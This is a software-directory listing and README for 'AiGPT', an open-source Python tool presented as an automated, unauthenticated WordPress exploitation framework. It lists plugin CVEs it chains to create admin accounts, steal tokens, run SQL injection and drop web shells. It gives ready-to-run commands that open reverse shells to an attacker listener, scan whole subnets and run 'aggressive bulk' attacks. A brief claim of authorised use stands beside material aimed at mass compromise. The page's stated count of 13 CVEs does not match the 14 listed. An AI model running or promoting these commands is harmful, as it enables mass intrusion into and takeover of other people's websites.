Home
Softono

AiGPT WordPress Exploitation Framework

Open source Python
125
Stars
33
Forks
0
Issues
3
Watchers
3 months
Last Commit

 About AiGPT WordPress Exploitation Framework

AiGPT started from the concept of CVE‑2024‑27956 , the WP Automatic CSV injection — but has been completely rebuilt into a multi‑vector, unauthenticated WordPress exploitation engine. It now chains 13 real‑world CVEs to create an administrator account or drop a web shell directly, then automatically injects a reverse shell into the active theme

Platforms

Web Self-hosted Windows Android

Languages

Python

Links

Need Help Installing AiGPT WordPress Exploitation Framework?

We provide expert installation service for this software. Our team will install, configure, and secure AiGPT WordPress Exploitation Framework on your server. plans start at just $30.

Alternatives to AiGPT WordPress Exploitation Framework

View All

AiGPT WordPress Exploitation Framework

View on GitHub

AiGPT — Automated WordPress Exploitation Framework

AiGPT is a multi‑vector exploitation tool that automates the discovery and compromise of vulnerable WordPress sites. It fingerprints installed plugins, intelligently selects the best exploit, and delivers a reverse shell — often without needing any prior authentication.

Thirteen unauthenticated CVEs are chained into a single, high‑performance framework designed for authorised penetration testing and security research.

Python 3.8+ License PRs Welcome


🔥 Features

  • Multi‑vector engine — 13 distinct exploit paths in one tool
  • Zero‑auth admin creation — creates a WordPress administrator on 7 different vulnerable plugins
  • Token / session hijacking — steals API tokens or hijacks sessions to gain admin access
  • Direct SQL execution — inserts an admin user via raw SQL injection
  • Direct file upload — bypasses the entire login chain and drops a web shell instantly
  • Smart plugin fingerprinting — parallel probe of 12 plugins to choose the optimal attack
  • Priority‑based vector selection — confirmed vulnerable plugins are attacked first
  • Universal theme‑editor shell — after admin login, injects a reverse shell into the active theme
  • CIDR subnet scanning — finds WordPress installations across entire network ranges
  • Multi‑threaded — configurable worker count with adaptive delays
  • Clean logging — console + file output with timestamps
  • Graceful fallback — non‑WordPress targets are silently skipped

📦 Exploited Vulnerabilities (CVEs)

CVE Plugin Type CVSS
CVE‑2025‑3102 SureTriggers ≤1.0.78 Auth bypass → admin creation 9.8
CVE‑2025‑8489 King Addons 24.12.92‑51.1.14 AJAX role override 9.8
CVE‑2025‑4334 Simple User Registration ≤6.3 Registration role escalation 9.8
CVE‑2025‑6934 Opal Estate Pro ≤1.7.5 Unauthenticated admin creation 9.8
CVE‑2025‑8572 Truelysell Core ≤1.8.7 user_role parameter abuse 9.8
CVE‑2025‑68860 Mobile Builder ≤1.4.2 JWT auth bypass 9.8
CVE‑2025‑13618 Mentoring ≤1.2.8 Role restriction bypass 9.8
CVE‑2025‑11749 AI Engine ≤3.1.3 Token theft → admin 9.8
CVE‑2025‑34077 Pie Register ≤3.7.1.4 Session hijack 9.8
CVE‑2025‑13342 Frontend Admin ≤3.28.20 Arbitrary options → admin 9.8
CVE‑2025‑12061 Tax Service HDM <1.2.1 Arbitrary SQL execution 8.6
CVE‑2025‑6440 WooCommerce Dynamic Pricing File upload → RCE 9.8
CVE‑2026‑0740 Ninja Forms File Uploads ≤3.3.26 File upload → RCE 9.8
CVE‑2026‑4882 User Reg Advanced Fields ≤1.6.20 File upload → RCE 9.8

🚀 Quick Start

Prerequisites

  • Python 3.8+
  • pip install requests
  • (Optional) pip install pyjwt for the Mobile Builder vector

Basic Usage

Here are one‑line commands for common scenarios:

Single target

```bash
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets target.txt

Bulk from file (fast)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets urls.txt --threads 20 --delay 0.3

Subnet scan

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --subnet 192.168.0.0/24 --threads 15

Quiet output (cron/log)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 8080 --targets urls.txt --no-progress > /tmp/scan.log 2>&1

Aggressive bulk (high speed)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets huge.txt --threads 50 --delay 0.1